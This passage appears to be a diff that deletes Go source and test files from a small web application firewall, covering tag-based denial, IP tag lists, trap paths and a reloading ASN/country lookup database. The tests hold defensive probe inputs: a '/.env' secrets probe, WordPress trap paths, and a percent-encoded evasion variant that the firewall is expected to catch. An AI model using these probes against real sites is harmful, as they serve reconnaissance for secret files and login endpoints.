func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, testRules),
|
||||
metricsToken: token,
|
||||
})
|
||||
|
||||
s.request(client, "/blocked", http.StatusForbidden,
|
||||
requestlog.ActionBlockedByBlockRule)
|
||||
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
|
||||
|
||||
metrics := s.scrape()
|
||||
wantMetric(t, metrics,
|
||||
`sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
|
||||
wantMetric(t, metrics,
|
||||
`sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
|
||||
wantMetric(t, metrics, `sww_rules_loaded{instance="app"}`, 2)
|
||||
wantMetric(t, metrics, `sww_requests_total{action="blocked_by_block_rule",`+
|
||||
`instance="app",status_class="4xx"}`, 1)
|
||||
wantMetric(t, metrics,
|
||||
`sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 1)
|
||||
wantMetric(t, metrics, `sww_offences_total{instance="app",kind="attack"}`, 1)
|
||||
wantMetric(t, metrics, `sww_bans_made_total{cause="attack",instance="app"}`, 1)
|
||||
wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 0)
|
||||
wantMetric(t, metrics, `sww_permanent_bans{instance="app"}`, 1)
|
||||
}
|
||||
|
||||
// writeRules writes content as a rule file into a new directory, and
|
||||
// returns the directory.
|
||||
func writeRules(t *testing.T, content string) string {
|
||||
t.Helper()
|
||||
|
||||
dir := t.TempDir()
|
||||
|
||||
err := os.WriteFile(filepath.Join(dir, "test.rules"), []byte(content), 0o600)
|
||||
if err != nil {
|
||||
t.Fatalf("write the rule file: %v", err)
|
||||
}
|
||||
|
||||
return dir
|
||||
}
|
||||
|
||||
// wantRuleIDs checks the request log line's rule_ids.
|
||||
func wantRuleIDs(t *testing.T, line logLine, want ...string) {
|
||||
t.Helper()
|
||||
|
||||
if !slices.Equal(line.RuleIDs, want) {
|
||||
t.Errorf("log line has rule_ids %v, want %v", line.RuleIDs, want)
|
||||
}
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// tagDeny refuses a request that carries a tag in SWW_TAG_DENY. Its figure is
|
||||
// the first such tag, in sorted order.
|
||||
type tagDeny struct{}
|
||||
|
||||
func (tagDeny) name() string { return "tag_deny" }
|
||||
|
||||
func (tagDeny) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
for _, tag := range rq.line.Tags {
|
||||
if slices.Contains(rq.h.config.TagDeny, tag) {
|
||||
return &verdict{
|
||||
action: requestlog.ActionClientDenied,
|
||||
figures: map[string]any{"tag": tag},
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
func TestTagDenyRefusesALookupTagAndNamesTheTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// The setting takes a country code in either case; the request's tag is
|
||||
// in capitals.
|
||||
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "Country=kp"})
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "tag_deny", `{"tag": "country=KP"}`)
|
||||
wantTags(t, line, "asn=64511", "country=KP")
|
||||
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAnASNTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithLookups(t, map[string]string{tagDeny: "asn=64511"})
|
||||
|
||||
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "asn=64511"}`)
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAListTagBeforeTheRateLimitsCount(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "torexit=" + torList, tagDeny: "torexit", rateLimitPerMinute: "1",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{torList: {fromDE}})
|
||||
|
||||
// Each is refused for its tag: none is counted to break the limit of one.
|
||||
for range 3 {
|
||||
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "torexit"}`)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAMixedCaseZoneByItsLowerCaseTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const mixedCaseZone = "DNSBL.example"
|
||||
|
||||
// The zone's tag is in lower case, however SWW_DNSBL_ZONES writes it.
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
dnsblZones: mixedCaseZone, dnsblResolver: noResolver,
|
||||
reputationAction: actionLog, tagDeny: "dnsbl=" + dnsblZone,
|
||||
})
|
||||
loadVerdicts(server, map[string][]string{fromDE: {mixedCaseZone}})
|
||||
|
||||
wantHeuristic(t, s.get(fromDE, http.StatusForbidden, requestlog.ActionClientDenied),
|
||||
"tag_deny", `{"tag": "dnsbl=`+dnsblZone+`"}`)
|
||||
}
|
||||
|
||||
func TestTagDenyRefusesAnExploitSignatureOfARuleThatOnlyLogs(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
rulesDir: writeRules(t, "noted path log ^/\n"), tagDeny: "exploitsignature",
|
||||
})
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
wantHeuristic(t, line, "tag_deny", `{"tag": "exploitsignature"}`)
|
||||
wantTags(t, line, "exploitsignature")
|
||||
}
|
||||
|
||||
func TestTagLimitPercentLowersALimitTheLowestWinning(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
rateLimitPerMinute: fourAMinute,
|
||||
tagLists: "vpn=" + vpnList + ",tor=" + torList,
|
||||
tagLimitPercent: "vpn:50,tor:25",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromDE}, torList: {fromDE}})
|
||||
|
||||
// A quarter of 4 requests a minute: the second breaks the limit.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
line := s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
wantPercent(t, "rate_limit_percent",
|
||||
line.RateLimitPercent, line.RateLimitPercentSetting,
|
||||
"25 from "+tagLimitPercent)
|
||||
}
|
||||
|
||||
func TestTagLimitPercentLowersAByteLimitByAListTag(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
bytesLimitPerMinute: twoUploads,
|
||||
tagLists: "vpn=" + vpnList,
|
||||
tagLimitPercent: "vpn:50",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromDE}})
|
||||
|
||||
// The upload's 100 bytes are over half of 199, 99.
|
||||
line := s.uploadFrom(fromDE)
|
||||
if line.LimitHit != minuteBytes {
|
||||
t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting,
|
||||
"50 from "+tagLimitPercent)
|
||||
|
||||
// fromKP, which the list does not hold, has the whole limit.
|
||||
line = s.uploadFrom(fromKP)
|
||||
if line.LimitHit != "" {
|
||||
t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
|
||||
}
|
||||
|
||||
wantPercent(t, "bytes_limit_percent",
|
||||
line.BytesLimitPercent, line.BytesLimitPercentSetting, none)
|
||||
}
|
||||
@@ -1,24 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
||||
// the reputation lists.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
)
|
||||
|
||||
// tagLists adds to the request one tag for each list of SWW_TAG_LISTS that
|
||||
// holds the client, the tag being the list's name. It refuses nothing, and runs
|
||||
// first so that every refusal's log line carries these tags.
|
||||
type tagLists struct{}
|
||||
|
||||
func (tagLists) name() string { return "tag_lists" }
|
||||
|
||||
func (tagLists) check(_ context.Context, rq *request, _ time.Time) *verdict {
|
||||
for _, name := range rq.h.lists.TagsOf(rq.client) {
|
||||
rq.addTag(name)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,100 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"slices"
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// tagLists is SWW_TAG_LISTS, and vpnList and torList lists it names.
|
||||
const (
|
||||
tagLists = "SWW_TAG_LISTS"
|
||||
vpnList = "https://lists.example/vpn.txt"
|
||||
torList = "https://lists.example/torexit.txt"
|
||||
)
|
||||
|
||||
// wantTags checks the log line's tags.
|
||||
func wantTags(t *testing.T, line logLine, want ...string) {
|
||||
t.Helper()
|
||||
|
||||
got, _ := line.fields["tags"].([]any)
|
||||
|
||||
tags := make([]string, 0, len(got))
|
||||
for _, tag := range got {
|
||||
text, _ := tag.(string)
|
||||
tags = append(tags, text)
|
||||
}
|
||||
|
||||
if !slices.Equal(tags, want) {
|
||||
t.Errorf("log line has tags %v, want %v", tags, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLookupAndTagListsGiveTheRequestItsTagsSorted(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "vpn=mullvad=" + vpnList + ",TorExit=" + torList,
|
||||
})
|
||||
loadLists(t, server, map[string][]string{
|
||||
vpnList: {fromDE}, torList: {fromDE + "/32", fromKP},
|
||||
})
|
||||
|
||||
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
|
||||
"asn=64496", "country=DE", "torexit", "vpn=mullvad")
|
||||
wantTags(t, s.get(fromKP, http.StatusOK, requestlog.ActionForward),
|
||||
"asn=64511", "country=KP", "torexit")
|
||||
}
|
||||
|
||||
func TestRequestWithoutATagLeavesTheFieldOut(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// With no lookup, a client is not placed and no setting gives it a tag.
|
||||
s, _, _ := startWithClock(t, "", map[string]string{lookupSource: "off"})
|
||||
|
||||
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
if _, present := line.fields["tags"]; present {
|
||||
t.Errorf("log line has tags %v, want none", line.fields["tags"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestTagListsTagEvenARequestTheCountryListRefuses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "vpn=" + vpnList, allowedCountries: "de",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromKP}})
|
||||
|
||||
wantTags(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied),
|
||||
"asn=64511", "country=KP", "vpn")
|
||||
}
|
||||
|
||||
func TestTagListsTagARequestRefusedBeforeTheLookup(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, server, _ := startWithLookups(t, map[string]string{
|
||||
tagLists: "vpn=" + vpnList, denyNets: fromKP, rateLimitPerMinute: "1",
|
||||
})
|
||||
loadLists(t, server, map[string][]string{vpnList: {fromDE, fromKP}})
|
||||
|
||||
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
|
||||
if line.Heuristic != "deny_nets" {
|
||||
t.Errorf("log line has heuristic %q, want deny_nets", line.Heuristic)
|
||||
}
|
||||
|
||||
wantTags(t, line, "vpn")
|
||||
|
||||
// The second request breaks the limit of one a minute, which bans the client.
|
||||
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
|
||||
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
|
||||
|
||||
line = s.get(fromDE, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
if line.Heuristic != "active_ban" {
|
||||
t.Errorf("log line has heuristic %q, want active_ban", line.Heuristic)
|
||||
}
|
||||
|
||||
wantTags(t, line, "vpn")
|
||||
}
|
||||
@@ -1,37 +0,0 @@
|
||||
package discriminator
|
||||
|
||||
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
||||
|
||||
import (
|
||||
"context"
|
||||
"slices"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// trapPaths refuses a request for a path in SWW_TRAP_PATHS: its path as a
|
||||
// path rule sees it, without the query, as sent or once percent-decoded, is one
|
||||
// of them. Such a request is a clear sign of attack, as a ban rule's match is:
|
||||
// it bans the client's netblock, or in observe mode raises the alert for the
|
||||
// ban it would have made. The ban's notes give the path as sent, and so does
|
||||
// its figure.
|
||||
type trapPaths struct{}
|
||||
|
||||
func (trapPaths) name() string { return "trap_paths" }
|
||||
|
||||
func (trapPaths) check(_ context.Context, rq *request, now time.Time) *verdict {
|
||||
path := rules.Path(rq.in)
|
||||
if !slices.Contains(rq.h.config.TrapPaths, path) &&
|
||||
!slices.Contains(rq.h.config.TrapPaths, rules.DecodeOnce(path)) {
|
||||
return nil
|
||||
}
|
||||
|
||||
rq.attack = true
|
||||
|
||||
return &verdict{
|
||||
action: rq.banForAttack(now, bans.Notes{TrapPath: path}),
|
||||
figures: map[string]any{"path": path},
|
||||
}
|
||||
}
|
||||
@@ -1,142 +0,0 @@
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/netip"
|
||||
"reflect"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// trapPaths is the setting's name, and trapPathList what the tests set it
|
||||
// to.
|
||||
const (
|
||||
trapPaths = "SWW_TRAP_PATHS"
|
||||
trapPathList = "/wp-login.php,/xmlrpc.php"
|
||||
)
|
||||
|
||||
func TestTrapPathBansAsABanRuleDoes(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
|
||||
|
||||
// A block rule for the same path: the trap path comes first.
|
||||
s, clk, server := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList,
|
||||
rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`),
|
||||
allowNets: allowed,
|
||||
banResponse: "429",
|
||||
})
|
||||
start := clk.Now()
|
||||
|
||||
// Only the path itself, the whole of it in the same case, is a trap
|
||||
// path.
|
||||
for _, path := range []string{"/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php"} {
|
||||
s.request(otherClient, path, http.StatusOK, requestlog.ActionForward)
|
||||
}
|
||||
|
||||
// A client in SWW_ALLOW_NETS is not checked.
|
||||
s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
// The query is not part of the path.
|
||||
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
wantRuleIDs(t, line)
|
||||
|
||||
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
|
||||
t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires)
|
||||
}
|
||||
|
||||
netblock := netip.MustParsePrefix(client + "/32")
|
||||
want := bans.Ban{
|
||||
Netblock: netblock,
|
||||
Start: start,
|
||||
Expires: start.Add(7 * 24 * time.Hour),
|
||||
Cause: bans.CauseAttack,
|
||||
Reason: "asked for the trap path /wp-login.php",
|
||||
Notes: bans.Notes{
|
||||
TrapPath: "/wp-login.php",
|
||||
Request: bans.Request{
|
||||
Time: start,
|
||||
Method: http.MethodGet,
|
||||
Host: appHost,
|
||||
Path: "/wp-login.php?redirect_to=x",
|
||||
Status: http.StatusTooManyRequests,
|
||||
UserAgent: userAgent,
|
||||
},
|
||||
Requests: 1,
|
||||
},
|
||||
}
|
||||
|
||||
got := server.Ledger.Bans(netblock)
|
||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||
}
|
||||
|
||||
// The next request is refused under the ban, and makes it permanent.
|
||||
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
|
||||
if line.BanExpires != permanent {
|
||||
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrapPathRefusalNamesItsHeuristicAndPath(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
|
||||
|
||||
line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
wantHeuristic(t, line, "trap_paths", `{"path": "/wp-login.php"}`)
|
||||
}
|
||||
|
||||
func TestTrapPathMatchesThePathDecodedOnce(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{trapPaths: trapPathList})
|
||||
|
||||
// %2577 decodes once to %77, not to w.
|
||||
s.request(otherClient, "/%2577p-login.php", http.StatusOK, requestlog.ActionForward)
|
||||
s.request(client, "/%77p-login.php", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
|
||||
// The ban's notes give the path as the client sent it.
|
||||
got := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
|
||||
if len(got) != 1 || got[0].Notes.TrapPath != "/%77p-login.php" {
|
||||
t.Fatalf("bans %+v, want one whose notes give the trap path /%%77p-login.php", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTrapPathsNeedNoRuleFiles(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, _ := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList,
|
||||
"SWW_RULES_ENABLED": "false",
|
||||
})
|
||||
|
||||
s.request(client, "/xmlrpc.php", http.StatusForbidden,
|
||||
requestlog.ActionTemporarilyBanned)
|
||||
}
|
||||
|
||||
func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
s, _, server := startWithClock(t, "", map[string]string{
|
||||
trapPaths: trapPathList,
|
||||
mode: observe,
|
||||
})
|
||||
|
||||
line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward)
|
||||
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
|
||||
|
||||
// No ban was made.
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
|
||||
if got := server.Ledger.Snapshot(); len(got) != 0 {
|
||||
t.Errorf("bans %+v, want none", got)
|
||||
}
|
||||
}
|
||||
@@ -1,9 +0,0 @@
|
||||
package lookup
|
||||
|
||||
import "net/http"
|
||||
|
||||
// SetTransport has g's requests to GeoJS go through transport instead of
|
||||
// the network.
|
||||
func (g *GeoJS) SetTransport(transport http.RoundTripper) {
|
||||
g.httpClient.Transport = transport
|
||||
}
|
||||
@@ -1,243 +0,0 @@
|
||||
package lookup
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net/netip"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/fsnotify/fsnotify"
|
||||
"github.com/oschwald/maxminddb-golang/v2"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
)
|
||||
|
||||
// quietTime is how long the lookup database must go without a change
|
||||
// before it is read again, so that a file still being copied in is read
|
||||
// only once whole.
|
||||
const quietTime = 2 * time.Second
|
||||
|
||||
// FileParams are what OpenFile needs.
|
||||
type FileParams struct {
|
||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||
// (SWW_LOOKUP_DB_PATH).
|
||||
Path string
|
||||
// Now tells the time, normally time.Now.
|
||||
Now func() time.Time
|
||||
// ProcessLog receives each reading of the file, and why a replacement
|
||||
// of it cannot be read.
|
||||
ProcessLog *slog.Logger
|
||||
// Alerts receive a file_error alert for each replacement that cannot
|
||||
// be read.
|
||||
Alerts *alerts.Queue
|
||||
}
|
||||
|
||||
// File looks up clients' AS numbers and countries in the lookup database,
|
||||
// held in memory, and reads it again when it is replaced. It is safe for
|
||||
// concurrent use.
|
||||
type File struct {
|
||||
params FileParams
|
||||
|
||||
mu sync.Mutex
|
||||
// reader is the database in use, and lastRead when it was read.
|
||||
// readFailures are the replacements that could not be read.
|
||||
reader *maxminddb.Reader
|
||||
lastRead time.Time
|
||||
readFailures int
|
||||
}
|
||||
|
||||
// record is what the lookup database holds about a network, of the fields
|
||||
// sww reads.
|
||||
type record struct {
|
||||
ASN string `maxminddb:"asn"`
|
||||
ASName string `maxminddb:"as_name"`
|
||||
CountryCode string `maxminddb:"country_code"`
|
||||
}
|
||||
|
||||
// OpenFile reads the lookup database. A file that cannot be read, or that
|
||||
// is not a .mmdb file, is an error.
|
||||
func OpenFile(params FileParams) (*File, error) {
|
||||
reader, err := read(params.Path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
f := &File{params: params}
|
||||
f.use(reader)
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// LookUp returns what the lookup database says about client: its AS
|
||||
// number, such as AS64496, the AS's name, and its country, such as DE,
|
||||
// each "" when the database does not give it, as for an address missing
|
||||
// from it. The database is asked about the client's first address, as
|
||||
// GeoJS is.
|
||||
func (f *File) LookUp(client netip.Prefix) Answer {
|
||||
f.mu.Lock()
|
||||
reader := f.reader
|
||||
f.mu.Unlock()
|
||||
|
||||
var found record
|
||||
|
||||
// A record that cannot be decoded places the client nowhere, as a
|
||||
// missing one does.
|
||||
err := reader.Lookup(client.Addr()).Decode(&found)
|
||||
if err != nil {
|
||||
found = record{}
|
||||
}
|
||||
|
||||
return Answer{
|
||||
Client: client,
|
||||
ASN: found.ASN,
|
||||
ASName: found.ASName,
|
||||
Country: found.CountryCode,
|
||||
Answered: f.params.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
// LastRead returns when the lookup database in use was read.
|
||||
func (f *File) LastRead() time.Time {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
|
||||
return f.lastRead
|
||||
}
|
||||
|
||||
// ReadFailures returns how many replacements of the lookup database could
|
||||
// not be read.
|
||||
func (f *File) ReadFailures() int {
|
||||
f.mu.Lock()
|
||||
defer f.mu.Unlock()
|
||||
|
||||
return f.readFailures
|
||||
}
|
||||
|
||||
// Watch watches the directory of the lookup database until ctx is done,
|
||||
// and reads the file again once it has gone without a change for
|
||||
// quietTime, after it is replaced, written or removed, and after Watch
|
||||
// starts watching. If the directory cannot be watched, that is logged, and
|
||||
// the database read at start stays in use.
|
||||
func (f *File) Watch(ctx context.Context) {
|
||||
watcher, err := fsnotify.NewWatcher()
|
||||
if err == nil {
|
||||
defer func() {
|
||||
_ = watcher.Close()
|
||||
}()
|
||||
|
||||
err = watcher.Add(filepath.Dir(f.params.Path))
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
f.params.ProcessLog.Error(
|
||||
"cannot watch the lookup database for replacements",
|
||||
"error",
|
||||
err.Error(),
|
||||
)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
f.params.ProcessLog.Info("watching the lookup database for replacements",
|
||||
"file", f.params.Path)
|
||||
|
||||
f.readAfterChanges(ctx, watcher.Events, watcher.Errors)
|
||||
}
|
||||
|
||||
// readAfterChanges reads the lookup database again once quietTime has
|
||||
// passed without a change to it from events, until ctx is done, and logs
|
||||
// the errors from errs. A change to another file in its directory does not
|
||||
// count. The wait starts at once, as if for a change, so that a file
|
||||
// replaced after OpenFile read it, and before its directory was watched,
|
||||
// is read too.
|
||||
func (f *File) readAfterChanges(
|
||||
ctx context.Context, events <-chan fsnotify.Event, errs <-chan error,
|
||||
) {
|
||||
path := filepath.Clean(f.params.Path)
|
||||
|
||||
quiet := time.NewTimer(quietTime)
|
||||
defer quiet.Stop()
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case event := <-events:
|
||||
if filepath.Clean(event.Name) == path {
|
||||
quiet.Reset(quietTime)
|
||||
}
|
||||
case <-quiet.C:
|
||||
f.readAgain()
|
||||
case err := <-errs:
|
||||
f.params.ProcessLog.Warn("watching the lookup database failed",
|
||||
"error", err.Error())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// readAgain reads the lookup database again, in place of the one in use,
|
||||
// or, if it cannot be read, counts that, raises a file_error alert for it
|
||||
// and logs it, and the one in use stays in use.
|
||||
func (f *File) readAgain() {
|
||||
reader, err := read(f.params.Path)
|
||||
if err != nil {
|
||||
const kept = "the lookup database cannot be read, " +
|
||||
"and the one read before stays in use"
|
||||
|
||||
f.mu.Lock()
|
||||
f.readFailures++
|
||||
f.mu.Unlock()
|
||||
|
||||
// Raised before it is logged, so that the alert is there once the
|
||||
// log line is.
|
||||
f.params.Alerts.Raise(alerts.Alert{
|
||||
Event: alerts.EventFileError,
|
||||
Reason: kept,
|
||||
Detail: map[string]any{
|
||||
"file": f.params.Path,
|
||||
"error": err.Error(),
|
||||
},
|
||||
})
|
||||
f.params.ProcessLog.Error(kept, "error", err.Error())
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
f.use(reader)
|
||||
}
|
||||
|
||||
// use puts reader in use, in place of the database read before, and logs
|
||||
// that the file was read.
|
||||
func (f *File) use(reader *maxminddb.Reader) {
|
||||
f.mu.Lock()
|
||||
f.reader = reader
|
||||
f.lastRead = f.params.Now()
|
||||
f.mu.Unlock()
|
||||
|
||||
f.params.ProcessLog.Info(
|
||||
"read the lookup database",
|
||||
"file",
|
||||
f.params.Path,
|
||||
)
|
||||
}
|
||||
|
||||
// read reads the lookup database at path. The whole file is read into
|
||||
// memory, rather than mapped into it as the reader can, so that a file
|
||||
// overwritten in place cannot change, or end, under a lookup.
|
||||
func read(path string) (*maxminddb.Reader, error) {
|
||||
data, err := os.ReadFile(path) //nolint:gosec // the file the admin names
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH cannot be read: %w", err)
|
||||
}
|
||||
|
||||
reader, err := maxminddb.OpenBytes(data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("SWW_LOOKUP_DB_PATH %s is not a .mmdb file: %w", path, err)
|
||||
}
|
||||
|
||||
return reader, nil
|
||||
}
|
||||
@@ -1,379 +0,0 @@
|
||||
package lookup
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log/slog"
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"testing"
|
||||
"testing/synctest"
|
||||
"time"
|
||||
|
||||
"github.com/fsnotify/fsnotify"
|
||||
"github.com/maxmind/mmdbwriter/mmdbtype"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
|
||||
)
|
||||
|
||||
// testNetblock is the netblock the tests' lookup databases place, and
|
||||
// testClient a client in it.
|
||||
const (
|
||||
testNetblock = "203.0.113.0/24"
|
||||
testClient = "203.0.113.9/32"
|
||||
)
|
||||
|
||||
func TestFilePlacesClientsAndCountsAnAddressMissingFromItAsUnknown(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
germany := lookuptest.Network{ASN: "AS64496", ASName: "Example Net", Country: "DE"}
|
||||
northKorea := lookuptest.Network{ASN: "AS64511", ASName: "Other Net", Country: "KP"}
|
||||
path := filepath.Join(t.TempDir(), "ipinfo_lite.mmdb")
|
||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||
testNetblock: germany,
|
||||
"2001:db8::/32": northKorea,
|
||||
})
|
||||
|
||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
||||
|
||||
f, err := OpenFile(FileParams{
|
||||
Path: path,
|
||||
Now: func() time.Time { return now },
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Alerts: newQueue(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("open %s: %v", path, err)
|
||||
}
|
||||
|
||||
for client, want := range map[string]lookuptest.Network{
|
||||
testClient: germany,
|
||||
// An IPv6 client is its /64.
|
||||
"2001:db8:1:2::/64": northKorea,
|
||||
"198.51.100.7/32": {},
|
||||
} {
|
||||
prefix := netip.MustParsePrefix(client)
|
||||
|
||||
got := f.LookUp(prefix)
|
||||
if got != (Answer{
|
||||
Client: prefix, ASN: want.ASN, ASName: want.ASName, Country: want.Country,
|
||||
Answered: now,
|
||||
}) {
|
||||
